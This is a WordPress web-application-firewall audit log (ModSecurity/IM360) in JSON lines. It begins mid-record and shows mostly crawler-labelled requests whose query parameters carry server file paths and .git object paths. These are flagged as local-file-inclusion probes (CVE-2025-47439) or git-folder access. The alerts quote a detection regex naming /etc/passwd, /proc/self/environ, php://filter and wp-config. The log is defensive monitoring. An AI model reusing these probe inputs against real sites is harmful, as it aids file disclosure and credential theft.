/htdocs/ptso.jmkconsulting-ci.com/wp-includes/l10n.php:306) in /htdocs/ptso.jmkconsulting-ci.com/wp-content/themes/agrios/404.php on line 109'"],"handler":"proxy:unix:/var/www/jmkconsulting-ci.com/php.socket|fcgi://127.0.0.1:9000/","stopwatch":{"p1":179,"p2":3198,"p3":0,"p4":0,"p5":365,"sr":120,"sw":1,"l":0,"gc":0},"producer":["ModSecurity for Apache/2.9.11 (http://www.modsecurity.org/)","ME WAF"],"server":"Apache/2.4.66 (Debian)","engine_mode":"ENABLED"}}
{"transaction":{"time":"13/Mar/2026:06:05:09.543703 +0100","transaction_id":"abObBZU8ANl4LrYS2EmWhQAAAgw","remote_address":"57.141.20.55","remote_port":47294,"local_address":"127.0.0.1","local_port":980},"request":{"request_line":"GET /service/fresh-vegetables/?rename=/usr/base/usr/share/terminfo/w/wy99fa HTTP/1.1","headers":{"Host":"ptso.jmkconsulting-ci.com","X-Real-IP":"57.141.20.55","X-Forwarded-Proto":"https","X-Request-Id":"f0d3feeea53041a6c7e1af6fea973390","X-L-Admin-Auth":"0","accept":"*/*","user-agent":"meta-externalagent/1.1 (+https://developers.facebook.com/docs/sharing/webmasters/crawler)","X-Cache-Engine-Enable":"1","X-Cache-User":"jmkco1775850","X-Cache-Group":"facebook","Via":"1.1 webdb01.lwspanel.com (Varnish/7.7)","X-Varnish":"5868082"}},"response":{"protocol":"HTTP/1.1","status":200,"headers":{"Link":"<https://ptso.jmkconsulting-ci.com/wp-json/>; rel=\"https://api.w.org/\", <https://ptso.jmkconsulting-ci.com/?p=2474>; rel=shortlink","Vary":"Accept-Encoding","X-Orig-Rid":"f0d3feeea53041a6c7e1af6fea973390","X-Anubis-Action":"","X-Anubis-Rule":"","X-Anubis-Status":"","Transfer-Encoding":"chunked","Content-Type":"text/html; charset=UTF-8"}},"audit_data":{"messages":["Pattern match \"(?i)\\\\.\\\\./\\\\.\\\\./\\\\.\\\\./\\\\.\\\\./|\\\\.\\\\./wp-config|/etc/passwd|/proc/self/environ|php://|filter//?(?:read|write|resource|convert|zlib)|/(?:usr|bin|opt|tmp|etc|proc)/|\\\\$CONFIG\\\\b|error_reporting[:=\\\\s\\\\x22\\\\x27]+?false|add_action|do_action|//filter/\" at ARGS:rename. [file \"/usr/share/modsecurity_lws/008_i360_wordpress.conf\"] [line \"2865\"] [id \"77789665\"] [msg \"IM360 WAF: Authenticated (Contributor+) LFI Vulnerability in Download Monitor <= 5.0.22 WordPress plugin (CVE-2025-47439)||MVN:ARGS:rename||MV:/usr/base/usr/share/terminfo/w/wy99fa||RSV:7.71||T:APACHE||\"] [severity \"NOTICE\"] [tag \"wp_core\"]"],"handler":"proxy:unix:/var/www/jmkconsulting-ci.com/php.socket|fcgi://127.0.0.1:9000/","stopwatch":{"p1":544,"p2":6555,"p3":0,"p4":0,"p5":231,"sr":170,"sw":0,"l":0,"gc":0},"producer":["ModSecurity for Apache/2.9.11 (http://www.modsecurity.org/)","ME WAF"],"server":"Apache/2.4.66 (Debian)","engine_mode":"ENABLED"}}
{"transaction":{"time":"13/Mar/2026:06:05:25.428284 +0100","transaction_id":"abObFZU8ANl4LrYS2EmWtgAAAgw","remote_address":"57.141.20.20","remote_port":47294,"local_address":"127.0.0.1","local_port":980},"request":{"request_line":"GET /service/organic-products/?rename=/usr/base/.wp-cli/cache-php-compat/plugins/lws-tools/lws-tools.2.4.2.json HTTP/1.1","headers":{"Host":"ptso.jmkconsulting-ci.com","X-Real-IP":"57.141.20.20","X-Forwarded-Proto":"https","X-Request-Id":"96f1a7af927a73619fa8a7c72f2cc377","X-L-Admin-Auth":"0","accept":"*/*","user-agent":"meta-externalagent/1.1 (+https://developers.facebook.com/docs/sharing/webmasters/crawler)","X-Cache-Engine-Enable":"1","X-Cache-User":"jmkco1775850","X-Cache-Group":"facebook","Via":"1.1 webdb01.lwspanel.com (Varnish/7.7)","X-Varnish":"2066909"}},"response":{"protocol":"HTTP/1.1","status":200,"headers":{"Link":"<https://ptso.jmkconsulting-ci.com/wp-json/>; rel=\"https://api.w.org/\", <https://ptso.jmkconsulting-ci.com/?p=2480>; rel=shortlink","Vary":"Accept-Encoding","X-Orig-Rid":"96f1a7af927a73619fa8a7c72f2cc377","X-Anubis-Action":"","X-Anubis-Rule":"","X-Anubis-Status":"","Transfer-Encoding":"chunked","Content-Type":"text/html; charset=UTF-8"}},"audit_data":{"messages":["Pattern match \"(?i)\\\\.\\\\./\\\\.\\\\./\\\\.\\\\./\\\\.\\\\./|\\\\.\\\\./wp-config|/etc/passwd|/proc/self/environ|php://|filter//?(?:read|write|resource|convert|zlib)|/(?:usr|bin|opt|tmp|etc|proc)/|\\\\$CONFIG\\\\b|error_reporting[:=\\\\s\\\\x22\\\\x27]+?false|add_action|do_action|//filter/\" at ARGS:rename. [file \"/usr/share/modsecurity_lws/008_i360_wordpress.conf\"] [line \"2865\"] [id \"77789665\"] [msg \"IM360 WAF: Authenticated (Contributor+) LFI Vulnerability in Download Monitor <= 5.0.22 WordPress plugin (CVE-2025-47439)||MVN:ARGS:rename||MV:/usr/base/.wp-cli/cache-php-compat/plugins/lws-tools/lws-tools.2.4.2.json||RSV:7.71||T:APACHE||\"] [severity \"NOTICE\"] [tag \"wp_core\"]"],"handler":"proxy:unix:/var/www/jmkconsulting-ci.com/php.socket|fcgi://127.0.0.1:9000/","stopwatch":{"p1":789,"p2":7443,"p3":0,"p4":0,"p5":389,"sr":131,"sw":1,"l":0,"gc":0},"producer":["ModSecurity for Apache/2.9.11 (http://www.modsecurity.org/)","ME WAF"],"server":"Apache/2.4.66 (Debian)","engine_mode":"ENABLED"}}
{"transaction":{"time":"13/Mar/2026:06:05:51.853853 +0100","transaction_id":"abObL2oLan0bT4FBOuLd_gAAAos","remote_address":"57.141.20.40","remote_port":53210,"local_address":"127.0.0.1","local_port":980},"request":{"request_line":"GET /service/harvest/?rename=/usr/base/usr/share/terminfo/v/vt220-base HTTP/1.1","headers":{"Host":"ptso.jmkconsulting-ci.com","X-Real-IP":"57.141.20.40","X-Forwarded-Proto":"https","X-Request-Id":"8c9bec5fc28448a82fcaf745199fa21a","X-L-Admin-Auth":"0","accept":"*/*","user-agent":"meta-externalagent/1.1 (+https://developers.facebook.com/docs/sharing/webmasters/crawler)","X-Cache-Engine-Enable":"1","X-Cache-User":"jmkco1775850","X-Cache-Group":"facebook","Via":"1.1 webdb01.lwspanel.com (Varnish/7.7)","X-Varnish":"3474223"}},"response":{"protocol":"HTTP/1.1","status":200,"headers":{"Link":"<https://ptso.jmkconsulting-ci.com/wp-json/>; rel=\"https://api.w.org/\", <https://ptso.jmkconsulting-ci.com/?p=2422>; rel=shortlink","Upgrade":"h2,h2c","Connection":"Upgrade","Vary":"Accept-Encoding","X-Orig-Rid":"8c9bec5fc28448a82fcaf745199fa21a","X-Anubis-Action":"","X-Anubis-Rule":"","X-Anubis-Status":"","Transfer-Encoding":"chunked","Content-Type":"text/html; charset=UTF-8"}},"audit_data":{"messages":["Pattern match \"(?i)\\\\.\\\\./\\\\.\\\\./\\\\.\\\\./\\\\.\\\\./|\\\\.\\\\./wp-config|/etc/passwd|/proc/self/environ|php://|filter//?(?:read|write|resource|convert|zlib)|/(?:usr|bin|opt|tmp|etc|proc)/|\\\\$CONFIG\\\\b|error_reporting[:=\\\\s\\\\x22\\\\x27]+?false|add_action|do_action|//filter/\" at ARGS:rename. [file \"/usr/share/modsecurity_lws/008_i360_wordpress.conf\"] [line \"2865\"] [id \"77789665\"] [msg \"IM360 WAF: Authenticated (Contributor+) LFI Vulnerability in Download Monitor <= 5.0.22 WordPress plugin (CVE-2025-47439)||MVN:ARGS:rename||MV:/usr/base/usr/share/terminfo/v/vt220-base||RSV:7.71||T:APACHE||\"] [severity \"NOTICE\"] [tag \"wp_core\"]"],"handler":"proxy:unix:/var/www/jmkconsulting-ci.com/php.socket|fcgi://127.0.0.1:9000/","stopwatch":{"p1":256,"p2":14366,"p3":0,"p4":0,"p5":351,"sr":151,"sw":1,"l":0,"gc":0},"producer":["ModSecurity for Apache/2.9.11 (http://www.modsecurity.org/)","ME WAF"],"server":"Apache/2.4.66 (Debian)","engine_mode":"ENABLED"}}
{"transaction":{"time":"13/Mar/2026:06:06:02.965436 +0100","transaction_id":"abObOpU8ANl4LrYS2EmXQgAAAhc","remote_address":"57.141.20.59","remote_port":53282,"local_address":"127.0.0.1","local_port":980},"request":{"request_line":"GET /service/fresh-vegetables/?rename=/usr/base/usr/share/ghostscript/10.05.1/lib/bjc610b1.upp HTTP/1.1","headers":{"Host":"ptso.jmkconsulting-ci.com","X-Real-IP":"57.141.20.59","X-Forwarded-Proto":"https","X-Request-Id":"7b94cb180b8a3f31ecccdf83ced35343","X-L-Admin-Auth":"0","accept":"*/*","user-agent":"meta-externalagent/1.1 (+https://developers.facebook.com/docs/sharing/webmasters/crawler)","X-Cache-Engine-Enable":"1","X-Cache-User":"jmkco1775850","X-Cache-Group":"facebook","Via":"1.1 webdb01.lwspanel.com (Varnish/7.7)","X-Varnish":"4458365"}},"response":{"protocol":"HTTP/1.1","status":200,"headers":{"Link":"<https://ptso.jmkconsulting-ci.com/wp-json/>; rel=\"https://api.w.org/\", <https://ptso.jmkconsulting-ci.com/?p=2474>; rel=shortlink","Vary":"Accept-Encoding","X-Orig-Rid":"7b94cb180b8a3f31ecccdf83ced35343","X-Anubis-Action":"","X-Anubis-Rule":"","X-Anubis-Status":"","Transfer-Encoding":"chunked","Content-Type":"text/html; charset=UTF-8"}},"audit_data":{"messages":["Pattern match \"(?i)\\\\.\\\\./\\\\.\\\\./\\\\.\\\\./\\\\.\\\\./|\\\\.\\\\./wp-config|/etc/passwd|/proc/self/environ|php://|filter//?(?:read|write|resource|convert|zlib)|/(?:usr|bin|opt|tmp|etc|proc)/|\\\\$CONFIG\\\\b|error_reporting[:=\\\\s\\\\x22\\\\x27]+?false|add_action|do_action|//filter/\" at ARGS:rename. [file \"/usr/share/modsecurity_lws/008_i360_wordpress.conf\"] [line \"2865\"] [id \"77789665\"] [msg \"IM360 WAF: Authenticated (Contributor+) LFI Vulnerability in Download Monitor <= 5.0.22 WordPress plugin (CVE-2025-47439)||MVN:ARGS:rename||MV:/usr/base/usr/share/ghostscript/10.05.1/lib/bjc610b1.upp||RSV:7.71||T:APACHE||\"] [severity \"NOTICE\"] [tag \"wp_core\"]"],"handler":"proxy:unix:/var/www/jmkconsulting-ci.com/php.socket|fcgi://127.0.0.1:9000/","stopwatch":{"p1":350,"p2":7033,"p3":0,"p4":0,"p5":537,"sr":121,"sw":1,"l":0,"gc":0},"producer":["ModSecurity for Apache/2.9.11 (http://www.modsecurity.org/)","ME WAF"],"server":"Apache/2.4.66 (Debian)","engine_mode":"ENABLED"}}
{"transaction":{"time":"13/Mar/2026:06:06:12.660229 +0100","transaction_id":"abObRJU8ANl4LrYS2EmXaQAAAhg","remote_address":"57.141.20.46","remote_port":53320,"local_address":"127.0.0.1","local_port":980},"request":{"request_line":"GET /service/agriculture-products/?rename=/usr/base/usr/share/ghostscript/10.05.1/lib/bjc610b1.upp HTTP/1.1","headers":{"Host":"ptso.jmkconsulting-ci.com","X-Real-IP":"57.141.20.46","X-Forwarded-Proto":"https","X-Request-Id":"d4a7e6ba58224c6a2e669276ba2333a2","X-L-Admin-Auth":"0","accept":"*/*","user-agent":"meta-externalagent/1.1 (+https://developers.facebook.com/docs/sharing/webmasters/crawler)","X-Cache-Engine-Enable":"1","X-Cache-User":"jmkco1775850","X-Cache-Group":"facebook","Via":"1.1 webdb01.lwspanel.com (Varnish/7.7)","X-Varnish":"9502784"}},"response":{"protocol":"HTTP/1.1","status":200,"headers":{"Link":"<https://ptso.jmkconsulting-ci.com/wp-json/>; rel=\"https://api.w.org/\", <https://ptso.jmkconsulting-ci.com/?p=2488>; rel=shortlink","Vary":"Accept-Encoding","X-Orig-Rid":"d4a7e6ba58224c6a2e669276ba2333a2","X-Anubis-Action":"","X-Anubis-Rule":"","X-Anubis-Status":"","Transfer-Encoding":"chunked","Content-Type":"text/html; charset=UTF-8"}},"audit_data":{"messages":["Pattern match \"(?i)\\\\.\\\\./\\\\.\\\\./\\\\.\\\\./\\\\.\\\\./|\\\\.\\\\./wp-config|/etc/passwd|/proc/self/environ|php://|filter//?(?:read|write|resource|convert|zlib)|/(?:usr|bin|opt|tmp|etc|proc)/|\\\\$CONFIG\\\\b|error_reporting[:=\\\\s\\\\x22\\\\x27]+?false|add_action|do_action|//filter/\" at ARGS:rename. [file \"/usr/share/modsecurity_lws/008_i360_wordpress.conf\"] [line \"2865\"] [id \"77789665\"] [msg \"IM360 WAF: Authenticated (Contributor+) LFI Vulnerability in Download Monitor <= 5.0.22 WordPress plugin (CVE-2025-47439)||MVN:ARGS:rename||MV:/usr/base/usr/share/ghostscript/10.05.1/lib/bjc610b1.upp||RSV:7.71||T:APACHE||\"] [severity \"NOTICE\"] [tag \"wp_core\"]"],"handler":"proxy:unix:/var/www/jmkconsulting-ci.com/php.socket|fcgi://127.0.0.1:9000/","stopwatch":{"p1":339,"p2":11133,"p3":0,"p4":0,"p5":525,"sr":156,"sw":0,"l":0,"gc":0},"producer":["ModSecurity for Apache/2.9.11 (http://www.modsecurity.org/)","ME WAF"],"server":"Apache/2.4.66 (Debian)","engine_mode":"ENABLED"}}
{"transaction":{"time":"13/Mar/2026:06:06:12.814047 +0100","transaction_id":"abObRJU8ANl4LrYS2EmXbAAAAhc","remote_address":"114.119.137.105","remote_port":53282,"local_address":"127.0.0.1","local_port":980},"request":{"request_line":"GET /shopdetail/251349551 HTTP/1.1","headers":{"Host":"ptso.jmkconsulting-ci.com","X-Real-IP":"114.119.137.105","X-Forwarded-Proto":"http","X-Request-Id":"e525426bc0d40402e6aeb1cd2bb52909","X-L-Admin-Auth":"0","User-Agent":"Mozilla/5.0 (Linux; Android 7.0;) AppleWebKit/537.36 (KHTML, like Gecko) Mobile Safari/537.36 (compatible; PetalBot;+https://webmaster.petalsearch.com/site/petalbot)","Accept":"text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8","Accept-Language":"en","X-Cache-Engine-Enable":"1","X-Cache-User":"jmkco1775850","Via":"1.1 webdb01.lwspanel.com (Varnish/7.7)","X-Varnish":"9863315","Accept-Encoding":"gzip"}},"response":{"protocol":"HTTP/1.1","status":500,"headers":{"Link":"<http://ptso.jmkconsulting-ci.com/wp-json/>; rel=\"https://api.w.org/\"","Expires":"Wed, 11 Jan 1984 05:00:00 GMT","Cache-Control":"no-cache, must-revalidate, max-age=0, no-store, private","X-Orig-Rid":"e525426bc0d40402e6aeb1cd2bb52909","X-Anubis-Action":"","X-Anubis-Rule":"","X-Anubis-Status":"","Connection":"close","Transfer-Encoding":"chunked","Content-Type":"text/html; charset=UTF-8"}},"audit_data":{"error_messages":["[file \"mod_proxy_fcgi.c\"] [line 960] [level 3] AH01071: Got error 'PHP message: PHP Fatal error:  Cannot redeclare __() (previously declared in /htdocs/ptso.jmkconsulting-ci.com/wp-includes/l10n.php:306) in /htdocs/ptso.jmkconsulting-ci.com/wp-content/themes/agrios/404.php on line 109'"],"handler":"proxy:unix:/var/www/jmkconsulting-ci.com/php.socket|fcgi://127.0.0.1:9000/","stopwatch":{"p1":295,"p2":5794,"p3":0,"p4":0,"p5":338,"sr":164,"sw":0,"l":0,"gc":0},"producer":["ModSecurity for Apache/2.9.11 (http://www.modsecurity.org/)","ME WAF"],"server":"Apache/2.4.66 (Debian)","engine_mode":"ENABLED"}}
{"transaction":{"time":"13/Mar/2026:06:06:43.408713 +0100","transaction_id":"abObYVmBVxWGJzaI8WAwEAAAAYM","remote_address":"57.141.20.39","remote_port":39926,"local_address":"127.0.0.1","local_port":980},"request":{"request_line":"GET /service/dairy-products/?rename=/htdocs/jmknew.jmkconsulting-ci.com/gdata/.git/objects/e7/e05ec13f78a530caca03fdaa3f61aaf3bd9e7a HTTP/1.1","headers":{"Host":"ptso.jmkconsulting-ci.com","X-Real-IP":"57.141.20.39","X-Forwarded-Proto":"https","X-Request-Id":"1acd9ef5242dff24984ee4aa29608e2d","X-L-Admin-Auth":"0","accept":"*/*","user-agent":"meta-externalagent/1.1 (+https://developers.facebook.com/docs/sharing/webmasters/crawler)","X-Cache-Engine-Enable":"1","X-Cache-User":"jmkco1775850","X-Cache-Group":"facebook","Via":"1.1 webdb01.lwspanel.com (Varnish/7.7)","X-Varnish":"8224944"}},"response":{"protocol":"HTTP/1.1","status":200,"headers":{"Link":"<https://ptso.jmkconsulting-ci.com/wp-json/>; rel=\"https://api.w.org/\", <https://ptso.jmkconsulting-ci.com/?p=2466>; rel=shortlink","Vary":"Accept-Encoding","X-Orig-Rid":"1acd9ef5242dff24984ee4aa29608e2d","X-Anubis-Action":"","X-Anubis-Rule":"","X-Anubis-Status":"","Transfer-Encoding":"chunked","Content-Type":"text/html; charset=UTF-8"}},"audit_data":{"messages":["String match \"/.git/\" at REQUEST_URI. [file \"/usr/share/modsecurity_lws/007_i360_custom.conf\"] [line \"370\"] [id \"77318034\"] [msg \"IM360 WAF: Detected access to git folder||RSV:7.71||T:APACHE||MV:/service/dairy-products/?rename=/htdocs/jmknew.jmkconsulting-ci.com/gdata/.git/objects/e7/e05ec13f78a530caca03fdaa3f61aaf3bd9e7a||\"] [severity \"NOTICE\"] [tag \"service_im360\"]"],"handler":"proxy:unix:/var/www/jmkconsulting-ci.com/php.socket|fcgi://127.0.0.1:9000/","stopwatch":{"p1":287,"p2":5642,"p3":0,"p4":0,"p5":322,"sr":131,"sw":0,"l":0,"gc":0},"producer":["ModSecurity for Apache/2.9.11 (http://www.modsecurity.org/)","ME WAF"],"server":"Apache/2.4.66 (Debian)","engine_mode":"ENABLED"}}
{"transaction":{"time":"13/Mar/2026:06:06:52.126914 +0100","transaction_id":"abOba7C1B_6BYICFawuuswAAAUY","remote_address":"57.141.20.40","remote_port":40042,"local_address":"127.0.0.1","local_port":980},"request":{"request_line":"GET /service/dairy-products/?edit=/htdocs/jmknew.jmkconsulting-ci.com/gdata/.git/objects/64/207a12427da5a2b49a1574371a7b6026fc149e HTTP/1.1","headers":{"Host":"ptso.jmkconsulting-ci.com","X-Real-IP":"57.141.20.40","X-Forwarded-Proto":"https","X-Request-Id":"d88a1ad32b2142228598a944327ee9a0","X-L-Admin-Auth":"0","accept":"*/*","user-agent":"meta-externalagent/1.1 (+https://developers.facebook.com/docs/sharing/webmasters/crawler)","X-Cache-Engine-Enable":"1","X-Cache-User":"jmkco1775850","X-Cache-Group":"facebook","Via":"1.1 webdb01.lwspanel.com (Varnish/7.7)","X-Varnish":"887938"}},"response":{"protocol":"HTTP/1.1","status":200,"headers":{"Link":"<https://ptso.jmkconsulting-ci.com/wp-json/>; rel=\"https://api.w.org/\", <https://ptso.jmkconsulting-ci.com/?p=2466>; rel=shortlink","Vary":"Accept-Encoding","X-Orig-Rid":"d88a1ad32b2142228598a944327ee9a0","X-Anubis-Action":"","X-Anubis-Rule":"","X-Anubis-Status":"","Transfer-Encoding":"chunked","Content-Type":"text/html; charset=UTF-8"}},"audit_data":{"messages":["String match \"/.git/\" at REQUEST_URI. [file \"/usr/share/modsecurity_lws/007_i360_custom.conf\"] [line \"370\"] [id \"77318034\"] [msg \"IM360 WAF: Detected access to git folder||RSV:7.71||T:APACHE||MV:/service/dairy-products/?edit=/htdocs/jmknew.jmkconsulting-ci.com/gdata/.git/objects/64/207a12427da5a2b49a1574371a7b6026fc149e||\"] [severity \"NOTICE\"] [tag \"service_im360\"]"],"handler":"proxy:unix:/var/www/jmkconsulting-ci.com/php.socket|fcgi://127.0.0.1:9000/","stopwatch":{"p1":298,"p2":4283,"p3":0,"p4":0,"p5":302,"sr":94,"sw":0,"l":0,"gc":0},"producer":["ModSecurity for Apache/2.9.11 (http://www.modsecurity.org/)","ME WAF"],"server":"Apache/2.4.66 (Debian)","engine_mode":"ENABLED"}}
{"transaction":{"time":"13/Mar/2026:06:07:04.570472 +0100","transaction_id":"abObeFmBVxWGJzaI8WAwXgAAAYE","remote_address":"57.141.20.56","remote_port":39796,"local_address":"127.0.0.1","local_port":980},"request":{"request_line":"GET /service/dairy-products/?edit=/htdocs/jmknew.jmkconsulting-ci.com/gdata/.git/objects/4f/6a6dcd5f022c387049d5c5864f8b57d72cfaa5 HTTP/1.1","headers":{"Host":"ptso.jmkconsulting-ci.com","X-Real-IP":"57.141.20.56","X-Forwarded-Proto":"https","X-Request-Id":"452672c33ac472e001b29c75b0f035a7","X-L-Admin-Auth":"0","accept":"*/*","user-agent":"meta-externalagent/1.1 (+https://developers.facebook.com/docs/sharing/webmasters/crawler)","X-Cache-Engine-Enable":"1","X-Cache-User":"jmkco1775850","X-Cache-Group":"facebook","Via":"1.1 webdb01.lwspanel.com (Varnish/7.7)","X-Varnish":"4260625"}},"response":{"protocol":"HTTP/1.1","status":200,"headers":{"Link":"<https://ptso.jmkconsulting-ci.com/wp-json/>; rel=\"https://api.w.org/\", <https://ptso.jmkconsulting-ci.com/?p=2466>; rel=shortlink","Vary":"Accept-Encoding","X-Orig-Rid":"452672c33ac472e001b29c75b0f035a7","X-Anubis-Action":"","X-Anubis-Rule":"","X-Anubis-Status":"","Transfer-Encoding":"chunked","Content-Type":"text/html; charset=UTF-8"}},"audit_data":{"messages":["String match \"/.git/\" at REQUEST_URI. [file \"/usr/share/modsecurity_lws/007_i360_custom.conf\"] [line \"370\"] [id \"77318034\"] [msg \"IM360 WAF: Detected access to git folder||RSV:7.71||T:APACHE||MV:/service/dairy-products/?edit=/htdocs/jmknew.jmkconsulting-ci.com/gdata/.git/objects/4f/6a6dcd5f022c387049d5c5864f8b57d72cfaa5||\"] [severity \"NOTICE\"] [tag \"service_im360\"]"],"handler":"proxy:unix:/var/www/jmkconsulting-ci.com/php.socket|fcgi://127.0.0.1:9000/","stopwatch":{"p1":264,"p2":5207,"p3":0,"p4":0,"p5":238,"sr":120,"sw":0,"l":0,"gc":0},"producer":["ModSecurity for Apache/2.9.11 (http://www.modsecurity.org/)","ME WAF"],"server":"Apache/2.4.66 (Debian)","engine_mode":"ENABLED"}}
{"transaction":{"time":"13/Mar/2026:06:07:15.875428 +0100","transaction_id":"abObg2ctLZHX5xWTcqfSJgAAAhY","remote_address":"57.141.20.50","remote_port":42040,"local_address":"127.0.0.1","local_port":980},"request":{"request_line":"GET /service/fresh-vegetables/?edit=/htdocs/jmknew.jmkconsulting-ci.com/gdata/.git/objects/28/d46b15ace8f3e5056c6de1e387062b92c8dae3 HTTP/1.1","headers":{"Host":"ptso.jmkconsulting-ci.com","X-Real-IP":"57.141.20.50","X-Forwarded-Proto":"https","X-Request-Id":"bb5fdf7c622dea2067dcb0232bfe6df3","X-L-Admin-Auth":"0","accept":"*/*","user-agent":"meta-externalagent/1.1 (+https://developers.facebook.com/docs/sharing/webmasters/crawler)","X-Cache-Engine-Enable":"1","X-Cache-User":"jmkco1775850","X-Cache-Group":"facebook","Via":"1.1 webdb01.lwspanel.com (Varnish/7.7)","X-Varnish":"592578"}},"response":{"protocol":"HTTP/1.1","status":200,"headers":{"Link":"<https://ptso.jmkconsulting-ci.com/wp-json/>; rel=\"https://api.w.org/\", <https://ptso.jmkconsulting-ci.com/?p=2474>; rel=shortlink","Vary":"Accept-Encoding","X-Orig-Rid":"bb5fdf7c622dea2067dcb0232bfe6df3","X-Anubis-Action":"","X-Anubis-Rule":"","X-Anubis-Status":"","Transfer-Encoding":"chunked","Content-Type":"text/html; charset=UTF-8"}},"audit_data":{"messages":["String match \"/.git/\" at REQUEST_URI. [file \"/usr/share/modsecurity_lws/007_i360_custom.conf\"] [line \"370\"] [id \"77318034\"] [msg \"IM360 WAF: Detected access to git folder||RSV:7.71||T:APACHE||MV:/service/fresh-vegetables/?edit=/htdocs/jmknew.jmkconsulting-ci.com/gdata/.git/objects/28/d46b15ace8f3e5056c6de1e387062b92c8dae3||\"] [severity \"NOTICE\"] [tag \"service_im360\"]"],"handler":"proxy:unix:/var/www/jmkconsulting-ci.com/php.socket|fcgi://127.0.0.1:9000/","stopwatch":{"p1":187,"p2":3815,"p3":0,"p4":0,"p5":313,"sr":96,"sw":1,"l":0,"gc":0},"producer":["ModSecurity for Apache/2.9.11 (http://www.modsecurity.org/)","ME WAF"],"server":"Apache/2.4.66 (Debian)","engine_mode":"ENABLED"}}
{"transaction":{"time":"13/Mar/2026:06:07:41.204783 +0100","transaction_id":"abObnOzjYSjefEszC8xs3QAAAcI","remote_address":"57.141.20.56","remote_port":39862,"local_address":"127.0.0.1","local_port":980},"request":{"request_line":"GET /service/organic-products/?rename=/usr/base/.wp-cli/cache-php-compat/plugins/wpforms-lite/wpforms-lite.1.8.2.1.json HTTP/1.1","headers":{"Host":"ptso.jmkconsulting-ci.com","X-Real-IP":"57.141.20.56","X-Forwarded-Proto":"https","X-Request-Id":"dab122f7fb0ab59247c415e05fe0d126","X-L-Admin-Auth":"0","accept":"*/*","user-agent":"meta-externalagent/1.1 (+https://developers.facebook.com/docs/sharing/webmasters/crawler)","X-Cache-Engine-Enable":"1","X-Cache-User":"jmkco1775850","X-Cache-Group":"facebook","Via":"1.1 webdb01.lwspanel.com (Varnish/7.7)","X-Varnish":"8258179"}},"response":{"protocol":"HTTP/1.1","status":200,"headers":{"Link":"<https://ptso.jmkconsulting-ci.com/wp-json/>; rel=\"https://api.w.org/\", <https://ptso.jmkconsulting-ci.com/?p=2480>; rel=shortlink","Vary":"Accept-Encoding","X-Orig-Rid":"dab122f7fb0ab59247c415e05fe0d126","X-Anubis-Action":"","X-Anubis-Rule":"","X-Anubis-Status":"","Transfer-Encoding":"chunked","Content-Type":"text/html; charset=UTF-8"}},"audit_data":{"messages":["Pattern match \"(?i)\\\\.\\\\./\\\\.\\\\./\\\\.\\\\./\\\\.\\\\./|\\\\.\\\\./wp-config|/etc/passwd|/proc/self/environ|php://|filter//?(?:read|write|resource|convert|zlib)|/(?:usr|bin|opt|tmp|etc|proc)/|\\\\$CONFIG\\\\b|error_reporting[:=\\\\s\\\\x22\\\\x27]+?false|add_action|do_action|//filter/\" at ARGS:rename. [file \"/usr/share/modsecurity_lws/008_i360_wordpress.conf\"] [line \"2865\"] [id \"77789665\"] [msg \"IM360 WAF: Authenticated (Contributor+) LFI Vulnerability in Download Monitor <= 5.0.22 WordPress plugin (CVE-2025-47439)||MVN:ARGS:rename||MV:/usr/base/.wp-cli/cache-php-compat/plugins/wpforms-lite/wpforms-lite.1.8.2.1.json||RSV:7.71||T:APACHE||\"] [severity \"NOTICE\"] [tag \"wp_core\"]"],"handler":"proxy:unix:/var/www/jmkconsulting-ci.com/php.socket|fcgi://127.0.0.1:9000/","stopwatch":{"p1":189,"p2":3684,"p3":0,"p4":0,"p5":244,"sr":85,"sw":1,"l":0,"gc":0},"producer":["ModSecurity for Apache/2.9.11 (http://www.modsecurity.org/)","ME WAF"],"server":"Apache/2.4.66 (Debian)","engine_mode":"ENABLED"}}
{"transaction":{"time":"13/Mar/2026:06:07:51.572083 +0100","transaction_id":"abObp-zjYSjefEszC8xs8gAAAcE","remote_address":"57.141.20.1","remote_port":39806,"local_address":"127.0.0.1","local_port":980},"request":{"request_line":"GET /service/dairy-products/?edit=/htdocs/jmknew.jmkconsulting-ci.com/gdata/.git/objects/45/5a220600c059216a889af9ceffcfc1399f61c0 HTTP/1.1","headers":{"Host":"ptso.jmkconsulting-ci.com","X-Real-IP":"57.141.20.1","X-Forwarded-Proto":"https","X-Request-Id":"df0f1150ce62aeecda7d9e0ab64b42a0","X-L-Admin-Auth":"0","accept":"*/*","user-agent":"meta-externalagent/1.1 (+https://developers.facebook.com/docs/sharing/webmasters/crawler)","X-Cache-Engine-Enable":"1","X-Cache-User":"jmkco1775850","X-Cache-Group":"facebook","Via":"1.1 webdb01.lwspanel.com (Varnish/7.7)","X-Varnish":"3606001"}},"response":{"protocol":"HTTP/1.1","status":200,"headers":{"Link":"<https://ptso.jmkconsulting-ci.com/wp-json/>; rel=\"https://api.w.org/\", <https://ptso.jmkconsulting-ci.com/?p=2466>; rel=shortlink","Vary":"Accept-Encoding","X-Orig-Rid":"df0f1150ce62aeecda7d9e0ab64b42a0","X-Anubis-Action":"","X-Anubis-Rule":"","X-Anubis-Status":"","Transfer-Encoding":"chunked","Content-Type":"text/html; charset=UTF-8"}},"audit_data":{"messages":["String match \"/.git/\" at REQUEST_URI. [file \"/usr/share/modsecurity_lws/007_i360_custom.conf\"] [line \"370\"] [id \"77318034\"] [msg \"IM360 WAF: Detected access to git folder||RSV:7.71||T:APACHE||MV:/service/dairy-products/?edit=/htdocs/jmknew.jmkconsulting-ci.com/gdata/.git/objects/45/5a220600c059216a889af9ceffcfc1399f61c0||\"] [severity \"NOTICE\"] [tag \"service_im360\"]"],"handler":"proxy:unix:/var/www/jmkconsulting-ci.com/php.socket|fcgi://127.0.0.1:9000/","stopwatch":{"p1":263,"p2":5209,"p3":0,"p4":0,"p5":373,"sr":125,"sw":0,"l":0,"gc":0},"producer":["ModSecurity for Apache/2.9.11 (http://www.modsecurity.org/)","ME WAF"],"server":"Apache/2.4.66 (Debian)","engine_mode":"ENABLED"}}
